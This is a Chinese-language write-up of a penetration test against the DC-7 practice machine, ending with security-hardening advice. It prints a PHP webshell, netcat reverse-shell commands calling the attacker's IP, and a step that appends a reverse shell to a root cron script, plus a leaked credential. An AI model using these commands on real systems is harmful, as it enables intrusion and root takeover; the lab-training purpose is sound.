DC7靶机的渗透测试与复盘
DC7靶机的渗透测试与复盘一、环境准备下载DC7靶机导入VM设置为NAT模式Kali也设置为NAT模式。靶机IP192.168.123.128攻击机IP192.168.123.139二、信息收集用nmap扫描靶机开放端口nmap -A -p- 192.168.123.128发现开放了两个端口22SSH和80HTTP80端口是 Apache 2.4.25上面跑的是Drupal 8CMS。访问http://192.168.123.128/浏览页面在页面底部发现了一个用户名DC7USER。三、OSINT开源情报收集关键突破口常规的目录扫描和漏洞利用都没戏根据DC7页面的信息提示说明这时候需要跳出框框思考。DC7USER这个用户名放在这个位置这么突兀一定有什么作用像是GitHub 上的账号去 GitHub 搜索Dc7User找到了一个公开仓库叫staffdb。在仓库里发现了config.php文件里面有数据库连接信息?php$servernamelocalhost;$usernamedc7user;$passwordMdR3xOgB7#dW;$dbnameStaff;$connmysqli_connect($servername,$username,$password,$dbname);?四、SSH登录数据库密码虽然是从 GitHub 泄露的但数据库在 localhost 连不上。想到 nmap 还扫到了 SSH 端口试试密码复用ssh dc7user192.168.123.128输入密码MdR3xOgB7#dW成功登录五、主机信息枚举查看家目录发现两个东西dc7userdc-7:~$ ls backups mbox查看mbox邮件文件发现是root 通过 cron 定时执行/opt/scripts/backups.sh备份脚本的日志。查看备份脚本#!/bin/bashrm/home/dc7user/backups/*cd/var/www/html/ drush sql-dump --result-file/home/dc7user/backups/website.sqlcd..tar-czf/home/dc7user/backups/website.tar.gz html/ gpg --pinentry-mode loopback--passphrasePickYourOwnPassword--symmetric/home/dc7user/backups/website.sql gpg --pinentry-mode loopback--passphrasePickYourOwnPassword--symmetric/home/dc7user/backups/website.tar.gzchowndc7user:dc7user /home/dc7user/backups/*rm/home/dc7user/backups/website.sqlrm/home/dc7user/backups/website.tar.gz关键发现脚本属组为www-data组权限有rwx可写root 通过 cron 定时以 root 身份执行此脚本脚本中使用了drushDrupal命令行工具查看文件权限确认dc7userdc-7:~$ ls -la /opt/scripts/ total 12 drwxr-xr-x 2 root www-data 4096 Aug 29 2019 . drwxr-xr-x 3 root root 4096 Aug 29 2019 .. -rwxrwxr-x 1 root www-data 520 Aug 29 2019 backups.sh六、获取Drupal管理员权限为什么要登录Drupal后台因为当前 dc7user 用户不在 www-data 组中无法直接修改/opt/scripts/backups.sh。需要先获得www-data 权限而通过 Drupal Web 应用执行的 PHP 代码就是 www-data 身份。所以要先拿到 Drupal 后台管理员权限。在 mbox 邮件中看到 root 的 cron 任务使用了drush命令说明系统安装了 Drupal 的命令行工具。dc7user 也能执行 drush直接用它修改 admin 密码是最快的方式cd /var/www/html/ drush user-password admin --password123456用新密码登录 Drupal 后台http://192.168.123.128/user/login。七、获得 www-data Shell在后台Manage → Extend → Install new module通过 URL 安装 PHP Filter 模块。PHP Filter 是 Drupal 官方提供的模块用于在文章内容中执行 PHP 代码Drupal 8 默认已移除该功能需要手动安装。从 Drupal 官网的模块仓库https://ftp.drupal.org/files/projects/可以获取到该模块的下载链接https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz安装后启用该模块然后新建内容Basic page在 Text format 选择PHP code写入 webshell?phpsystem($_GET[cmd]);?攻击机监听nc -lvnp 4444访问该页面执行反弹shell命令http://192.168.123.128/node/4?cmdnc 192.168.123.139 4444 -e /bin/bash成功获得www-data权限的 shell八、权限提升提权至root刚才已经知道/opt/scripts/backups.sh的属组是www-data组权限可写root 的 cron 会定时执行它。在 www-data 的 shell 中往脚本追加反弹命令echo nc 192.168.123.139 5555 -e /bin/bash /opt/scripts/backups.sh攻击机开启另一个监听nc -lvnp 5555等待一会cron 任务以 root 身份执行了脚本成功弹回root 权限的 shell┌──(kali㉿kali)-[~] └─$ nc -lvnp 5555 listening on [any] 5555 ... connect to [192.168.123.139] from (UNKNOWN) [192.168.123.128] 53638 whoami root九、渗透复盘完整攻击链信息收集nmap→ 页面发现 DC7USER ↓ GitHub OSINT → 配置文件泄露 SSH 凭据 ↓ SSH 登录dc7user ↓ 发现 mbox → root cron 执行 backups.shwww-data 可写 ↓ drush 修改 Drupal 管理员密码 → 登录后台 ↓ 安装 PHP Filter 模块 → 植入 webshell → 反弹 www-data shell ↓ 修改 backups.sh 添加反弹命令 → 等待 cron 执行 → 获得 root shell核心知识点OSINT开源情报— 页面底部的DC7USER是突破口GitHub 上搜索公开仓库找到了数据库密码密码复用— GitHub 泄露的密码可以直接用于 SSH 登录drush 工具— Drupal 的命令行管理工具可以修改管理员密码cron 提权— root 定时执行的脚本如果被低权限用户可写就能提权www-data 组权限— 脚本属组为 www-data 且可写只要获得 www-data 的 shell 就能修改它经验总结DC7 最大的特点是不能纯靠技术扫描和漏洞利用需要跳出框框思考。常规的 Drupal 漏洞利用在这个版本上都不好使真正的突破口是社工思维——发现页面底部的用户名、去 GitHub 搜索、找到泄露的凭据。整体难度中等但思路很新颖考验的是渗透测试中的信息搜集能力和创造性思维。安全修复建议 禁止敏感信息上传到公开仓库— GitHub 上泄露数据库密码是本靶机的起点。应该在.gitignore中排除config.php等配置文件或使用环境变量管理敏感信息。 密码隔离— 数据库密码、SSH 密码、后台密码不要复用。一旦某个环节泄露攻击者就会尝试密码复用横向移动。 最小权限原则—/opt/scripts/backups.sh属组为www-data且可写这非常危险。脚本应该仅属 root 且权限为 700chmod 700不允许其他用户或组有任何权限。⏰ cron 脚本加固— root 执行的脚本中命令要写绝对路径如/usr/local/bin/drush而非drush避免 PATH 劫持风险。 Drupal 安全配置— 移除 PHP Filter 模块或严格限制使用权限及时更新 Drupal 版本后台地址不要使用默认路径/user/login。 邮件信息保护—mbox文件暴露了系统定时任务路径应限制邮件日志的访问权限或定向到 root 用户独有目录。

相关新闻

2026年企业级AI化转型关键步骤:AI+iPaaS系统集成平台核心评估标准与落地实践

2026年企业级AI化转型关键步骤:AI+iPaaS系统集成平台核心评估标准与落地实践

企业级AI化转型已从概念验证迈入大规模落地阶段,而这场转型的胜负手,往往不在算法或模型本身,而在于数据与业务系统能否被真正打通——这正是iPaaS系统集成成为企业级AI化转型关键步骤的根本原因。如今,iPaaS产品正不断融合AI&…

2026/10/18 10:53:33 阅读更多 →
玉米病叶识别数据集,可识别褐斑,玉米锈病,玉米黑粉病,霜霉病,灰叶斑点,叶枯病等,使用yolo,coco,voc对4924张照片进行标注

玉米病叶识别数据集,可识别褐斑,玉米锈病,玉米黑粉病,霜霉病,灰叶斑点,叶枯病等,使用yolo,coco,voc对4924张照片进行标注

玉米病叶识别数据集介绍 本数据集专注于玉米叶片病害的识别任务,包含多种常见病害类型:褐斑病、玉米锈病、玉米黑粉病、霜霉病、灰叶斑点病、叶枯病等。数据集共包含4924张高质量标注图片,采用YOLO、COCO和VOC三种主流标注格式,方…

2026/10/18 10:53:34 阅读更多 →
【Rust自学】3.3. 数据类型:复合类型

【Rust自学】3.3. 数据类型:复合类型

3.3 数据类型:复合类型 3.3.0. 写在正文之前 欢迎来到Rust自学的第三章,一共有6个小节,分别是: - 变量与可变性 - 数据类型:标量类型 - 数据类型:复合类型(本文) - 函数和注释 - 控制流&#…

2026/10/18 10:54:35 阅读更多 →

最新新闻

AI辅助公文写作:从范文文风规律到定制仿写智能体

AI辅助公文写作:从范文文风规律到定制仿写智能体

办公室的老同事问我最近写材料怎么又快又稳,我说靠一套自己搭起来的AI辅助流程。他半信半疑,等我打开智能体对话界面,现场让他报了个标题,两分钟生成一版初稿,他盯着屏幕看了半天,只说了一句“这路子对”。…

2026/10/18 12:38:31 阅读更多 →
Heidelberg-Prinect工程化文档数字化:从图像预处理到版面还原的批量OCR流水线

Heidelberg-Prinect工程化文档数字化:从图像预处理到版面还原的批量OCR流水线

简介:这份资源面向印刷排版与印前处理从业者,提供海德堡Prinect系列插件的安装包,用于在Adobe InDesign、Illustrator等软件中实现尺寸控制与分色处理。Prinect插件可对PDF文件进行严格的页面尺寸、裁切线位置检查,并将CMYK等色彩…

2026/10/18 12:38:31 阅读更多 →
Node.js WebSocket长连接实战:心跳保活与断线重连源码解析

Node.js WebSocket长连接实战:心跳保活与断线重连源码解析

简介:一份面向WebSocket初学者的客户端与服务端实例源码包,由Java实现服务端,客户端基于HTML5 WebSocket。WebSocket可建立客户端与服务端之间的全双工长连接,这份实例展示了这一机制。资源支持客户端测试任意语言服务端&#xff…

2026/10/18 12:38:31 阅读更多 →
Git 命令实战手册:从版本控制基础到分支管理、远程协作与错误恢复

Git 命令实战手册:从版本控制基础到分支管理、远程协作与错误恢复

1. 关于 Git 命令这件事,先聊几句实在话作为一个每天跟代码打交道的开发者,Git 大概是我用得最多的工具之一。很多人觉得 Git 命令又多又杂,记不住、用不好,甚至有人跟我说"能跑就行,能提交就行"。但实际上&…

2026/10/18 12:38:31 阅读更多 →
多通道残差连接:深层网络训练更稳定的工程化方案

多通道残差连接:深层网络训练更稳定的工程化方案

元旦刚过,技术社区里最热的一条讨论,就是新的多通道残差连接方案。大家关心的倒不是某个Block的命名有多酷,而是这套结构真的把“更稳定”这三个字落到了实处:深层网络的梯度不容易断,训练曲线的波动变小,同等参数量下可以更安全地堆更多层。说白了,咱们平时堆ResNet、堆Transf…

2026/10/18 12:38:31 阅读更多 →
高德交通态势爬取实战:Python采集道路级速度与拥堵等级数据

高德交通态势爬取实战:Python采集道路级速度与拥堵等级数据

简介:面向交通数据分析、城市规划与GIS应用开发者,这份高德交通态势爬取资源使用脚本调用高德地图接口,获取实时路况、拥堵指数等态势信息,并兼顾请求限速与反爬策略,可直接用于后续交通流分析及ArcGIS空间数据预处理。…

2026/10/18 12:37:31 阅读更多 →

日新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 0:55:02 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →